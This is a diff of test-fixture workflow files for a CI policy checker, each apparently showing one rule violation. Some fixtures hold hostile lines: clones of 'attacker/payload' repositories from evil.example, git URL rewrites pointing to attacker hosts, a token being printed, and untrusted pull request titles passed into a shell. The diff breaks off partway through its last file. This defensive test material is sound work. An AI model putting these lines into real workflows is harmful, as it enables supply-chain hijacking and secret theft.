b/integration/agentcompat/internal/workflowpolicy/testdata/artifact-without-redaction.yml new file mode 100644 index 00000000..a62bf39c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/artifact-without-redaction.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... + - uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f + with: + path: ${{ runner.temp }}/results diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/bare-anchor.yml b/integration/agentcompat/internal/workflowpolicy/testdata/bare-anchor.yml new file mode 100644 index 00000000..840e48ed --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/bare-anchor.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: &shared + MODE: test + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/boolean-uses.yml b/integration/agentcompat/internal/workflowpolicy/testdata/boolean-uses.yml new file mode 100644 index 00000000..93e0dd99 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/boolean-uses.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/cache.yml b/integration/agentcompat/internal/workflowpolicy/testdata/cache.yml new file mode 100644 index 00000000..e495b094 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/cache.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/cache@0123456789abcdef0123456789abcdef01234567 + with: + path: bin + key: executable-cache diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/command-option-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/command-option-git-repository.yml new file mode 100644 index 00000000..7f1b0c98 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/command-option-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: command -p git clone https://github.com/attacker/payload.git payload diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/composed-custom-runner.yml b/integration/agentcompat/internal/workflowpolicy/testdata/composed-custom-runner.yml new file mode 100644 index 00000000..627e36a5 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/composed-custom-runner.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + strategy: + matrix: + os: [ubuntu] + runs-on: custom-${{ matrix.os }}-latest + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/conditional-redaction.yml b/integration/agentcompat/internal/workflowpolicy/testdata/conditional-redaction.yml new file mode 100644 index 00000000..9cc60999 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/conditional-redaction.yml @@ -0,0 +1,18 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + id: redact-evidence + if: false + run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted" + - uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f + if: always() + with: + path: ${{ runner.temp }}/nezha-agentcompat-redacted diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/container-runtime-alias.yml b/integration/agentcompat/internal/workflowpolicy/testdata/container-runtime-alias.yml new file mode 100644 index 00000000..2980824e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/container-runtime-alias.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: podman run --rm attacker/payload:latest diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/container.yml b/integration/agentcompat/internal/workflowpolicy/testdata/container.yml new file mode 100644 index 00000000..6aa81469 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/container.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + container: golang:latest + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/continue-on-error.yml b/integration/agentcompat/internal/workflowpolicy/testdata/continue-on-error.yml new file mode 100644 index 00000000..059d1e0b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/continue-on-error.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - continue-on-error: true + run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/custom-runner.yml b/integration/agentcompat/internal/workflowpolicy/testdata/custom-runner.yml new file mode 100644 index 00000000..ee04adc1 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/custom-runner.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: private-production-runner + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/docker.yml b/integration/agentcompat/internal/workflowpolicy/testdata/docker.yml new file mode 100644 index 00000000..e80f7589 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/docker.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: docker run --rm golang:latest go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/download-artifact.yml b/integration/agentcompat/internal/workflowpolicy/testdata/download-artifact.yml new file mode 100644 index 00000000..5437be91 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/download-artifact.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/download-artifact@0123456789abcdef0123456789abcdef01234567 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/duplicate-jobs.yml b/integration/agentcompat/internal/workflowpolicy/testdata/duplicate-jobs.yml new file mode 100644 index 00000000..c688c62a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/duplicate-jobs.yml @@ -0,0 +1,17 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + first: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... +jobs: + second: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-git-repository.yml new file mode 100644 index 00000000..f29fb6d6 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git ls-remote "${{ inputs.repository }}" refs/heads/main diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-indexed-untrusted-expression.yml b/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-indexed-untrusted-expression.yml new file mode 100644 index 00000000..c03434bb --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-indexed-untrusted-expression.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: printf '%s\n' "${{ github[format('event')].pull_request.title }}" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/empty-concurrency.yml b/integration/agentcompat/internal/workflowpolicy/testdata/empty-concurrency.yml new file mode 100644 index 00000000..66123750 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/empty-concurrency.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/empty-run.yml b/integration/agentcompat/internal/workflowpolicy/testdata/empty-run.yml new file mode 100644 index 00000000..cf401d81 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/empty-run.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: "" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/empty-step.yml b/integration/agentcompat/internal/workflowpolicy/testdata/empty-step.yml new file mode 100644 index 00000000..e96509db --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/empty-step.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - {} diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/empty-uses.yml b/integration/agentcompat/internal/workflowpolicy/testdata/empty-uses.yml new file mode 100644 index 00000000..1fbfe056 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/empty-uses.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: "" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/environment-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/environment-git-repository.yml new file mode 100644 index 00000000..cccb4f3c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/environment-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git clone "$REMOTE" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/external-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/external-git-repository.yml new file mode 100644 index 00000000..ca1e3232 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/external-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git clone https://evil.example/attacker/payload.git diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/git-config-environment.yml b/integration/agentcompat/internal/workflowpolicy/testdata/git-config-environment.yml new file mode 100644 index 00000000..60beee3d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/git-config-environment.yml @@ -0,0 +1,15 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: + GIT_CONFIG_COUNT: "1" + GIT_CONFIG_KEY_0: url.https://attacker.invalid/.insteadOf + GIT_CONFIG_VALUE_0: https://github.com/nezhahq/agent + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/git-config-mutation.yml b/integration/agentcompat/internal/workflowpolicy/testdata/git-config-mutation.yml new file mode 100644 index 00000000..0323bee1 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/git-config-mutation.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git config --global url.https://evil.example/.insteadOf https://github.com/ diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/git-global-option-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/git-global-option-repository.yml new file mode 100644 index 00000000..8e9999b6 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/git-global-option-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git -c advice.detachedHead=false clone https://github.com/attacker/payload.git payload diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/git-url-mutation.yml b/integration/agentcompat/internal/workflowpolicy/testdata/git-url-mutation.yml new file mode 100644 index 00000000..6cad5e80 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/git-url-mutation.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git -c url.https://evil.example/.insteadOf=https://github.com/ clone https://github.com/nezhahq/nezha.git nezha diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/github-environment-git-config.yml b/integration/agentcompat/internal/workflowpolicy/testdata/github-environment-git-config.yml new file mode 100644 index 00000000..259aa59b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/github-environment-git-config.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + printf '%s\n' 'GIT_CONFIG_COUNT=1' >> "$GITHUB_ENV" + printf '%s\n' 'GIT_CONFIG_KEY_0=url.https://attacker.invalid/.insteadOf' >> "$GITHUB_ENV" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/github-token-environment.yml b/integration/agentcompat/internal/workflowpolicy/testdata/github-token-environment.yml new file mode 100644 index 00000000..13d91f5a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/github-token-environment.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: + GITHUB_TOKEN: ${{ github.token }} + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/github-token.yml b/integration/agentcompat/internal/workflowpolicy/testdata/github-token.yml new file mode 100644 index 00000000..271f8df5 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/github-token.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: printf '%s' "${{ github.token }}" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/id-token-write.yml b/integration/agentcompat/internal/workflowpolicy/testdata/id-token-write.yml new file mode 100644 index 00000000..f30a176b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/id-token-write.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read + id-token: write +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/if-condition-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/if-condition-failure.yml new file mode 100644 index 00000000..87830a42 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/if-condition-failure.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + if go test ./...; then + echo passed + fi diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/if-not-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/if-not-failure.yml new file mode 100644 index 00000000..c4ad78fe --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/if-not-failure.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + if ! go test ./...; then + echo ignored + fi diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/indexed-untrusted-expression.yml b/integration/agentcompat/internal/workflowpolicy/testdata/indexed-untrusted-expression.yml new file mode 100644 index 00000000..2d03616b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/indexed-untrusted-expression.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: printf '%s\n' "${{ github['event']['pull_request']['title'] }}" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/local-action.yml b/integration/agentcompat/internal/workflowpolicy/testdata/local-action.yml new file mode 100644 index 00000000..46bc1a6d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/local-action.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: ./untrusted-action diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/malformed.yml b/integration/agentcompat/internal/workflowpolicy/testdata/malformed.yml new file mode 100644 index 00000000..0ff91b28 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/malformed.yml @@ -0,0 +1,4 @@ +on: [pull_request +jobs: + verify: + runs-on: ubuntu-24.04 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/mapping-permission-value.yml b/integration/agentcompat/internal/workflowpolicy/testdata/mapping-permission-value.yml new file mode 100644 index 00000000..755f9290 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/mapping-permission-value.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: + read: true +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/matrix-include-runner.yml b/integration/agentcompat/internal/workflowpolicy/testdata/matrix-include-runner.yml new file mode 100644 index 00000000..b01abafb --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/matrix-include-runner.yml @@ -0,0 +1,16 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + strategy: + matrix: + runner: [ubuntu-24.04] + include: + - runner: self-hosted + runs-on: ${{ matrix.runner }} + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/matrix-self-hosted.yml b/integration/agentcompat/internal/workflowpolicy/testdata/matrix-self-hosted.yml new file mode 100644 index 00000000..5b165b2c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/matrix-self-hosted.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + strategy: + matrix: + runner: [ubuntu-24.04, self-hosted] + runs-on: ${{ matrix.runner }} + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-concurrency.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-concurrency.yml new file mode 100644 index 00000000..6826703a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-concurrency.yml @@ -0,0 +1,10 @@ +on: + pull_request: +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-jobs.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-jobs.yml new file mode 100644 index 00000000..a69854f3 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-jobs.yml @@ -0,0 +1,5 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-persist-credentials.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-persist-credentials.yml new file mode 100644 index 00000000..fd2712e5 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-persist-credentials.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-aggregator.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-aggregator.yml new file mode 100644 index 00000000..abd9471f --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-aggregator.yml @@ -0,0 +1,17 @@ +name: Missing required aggregator +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + tests: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... + linux-race-quality: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test -race -shuffle=on -count=1 ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-dependency.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-dependency.yml new file mode 100644 index 00000000..093d71b5 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-dependency.yml @@ -0,0 +1,43 @@ +name: Missing required dependency +on: + pull_request: + merge_group: + push: + branches: + - master +concurrency: policy +permissions: + contents: read +jobs: + tests: + runs-on: ubuntu-24.04 + timeout-minutes: 30 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + persist-credentials: false + - uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16 + with: + go-version: "1.26.x" + cache: false + - run: go test ./... + linux-race-quality: + runs-on: ubuntu-24.04 + timeout-minutes: 45 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + persist-credentials: false + - uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16 + with: + go-version: "1.26.x" + cache: false + - run: go test -race -shuffle=on -count=1 ./... + nezha-quality-required: + if: ${{ always() }} + needs: + - tests + runs-on: ubuntu-24.04 + timeout-minutes: 5 + steps: + - run: test "${{ needs.tests.result }}" = success diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-root-permissions.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-root-permissions.yml new file mode 100644 index 00000000..16bad179 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-root-permissions.yml @@ -0,0 +1,9 @@ +on: + pull_request: +concurrency: policy +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-timeout.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-timeout.yml new file mode 100644 index 00000000..2e594055 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-timeout.yml @@ -0,0 +1,10 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/mixed-artifact-paths.yml b/integration/agentcompat/internal/workflowpolicy/testdata/mixed-artifact-paths.yml new file mode 100644 index 00000000..5c9c440c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/mixed-artifact-paths.yml @@ -0,0 +1,17 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + run: go run ./integration/agentcompat/cmd/redact + - uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f + with: + path: | + ${{ runner.temp }}/redacted-results + ${{ runner.temp }}/raw-results diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/mutable-action-ref.yml b/integration/agentcompat/internal/workflowpolicy/testdata/mutable-action-ref.yml new file mode 100644 index 00000000..e7bae2a0 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/mutable-action-ref.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@v7 + with: + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/mutable-other-repository-ref.yml b/integration/agentcompat/internal/workflowpolicy/testdata/mutable-other-repository-ref.yml new file mode 100644 index 00000000..f8ac0fe8 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/mutable-other-repository-ref.yml @@ -0,0 +1,15 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + repository: nezhahq/agent + ref: main + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nested-shell.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nested-shell.yml new file mode 100644 index 00000000..6a568189 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nested-shell.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: bash -c 'go test ./... || true' diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/no-op-redaction.yml b/integration/agentcompat/internal/workflowpolicy/testdata/no-op-redaction.yml new file mode 100644 index 00000000..825a177f --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/no-op-redaction.yml @@ -0,0 +1,15 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + run: "true" + - uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f + with: + path: ${{ runner.temp }}/redacted-results diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonboolean-concurrency-cancel.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonboolean-concurrency-cancel.yml new file mode 100644 index 00000000..e59ab488 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonboolean-concurrency-cancel.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: + group: policy + cancel-in-progress: "true" +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-action.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-action.yml new file mode 100644 index 00000000..9242d8b5 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-action.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: ${{ inputs.action }} diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-repository.yml new file mode 100644 index 00000000..113856a5 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-repository.yml @@ -0,0 +1,15 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + repository: ${{ inputs.repository }} + ref: 0123456789abcdef0123456789abcdef01234567 + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-step.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-step.yml new file mode 100644 index 00000000..19bc42f2 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-step.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - malformed diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-uses.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-uses.yml new file mode 100644 index 00000000..f9bac2e6 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-uses.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: + - actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonsequence-steps.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonsequence-steps.yml new file mode 100644 index 00000000..61edd11e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonsequence-steps.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonstring-run.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonstring-run.yml new file mode 100644 index 00000000..79ce7126 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonstring-run.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + 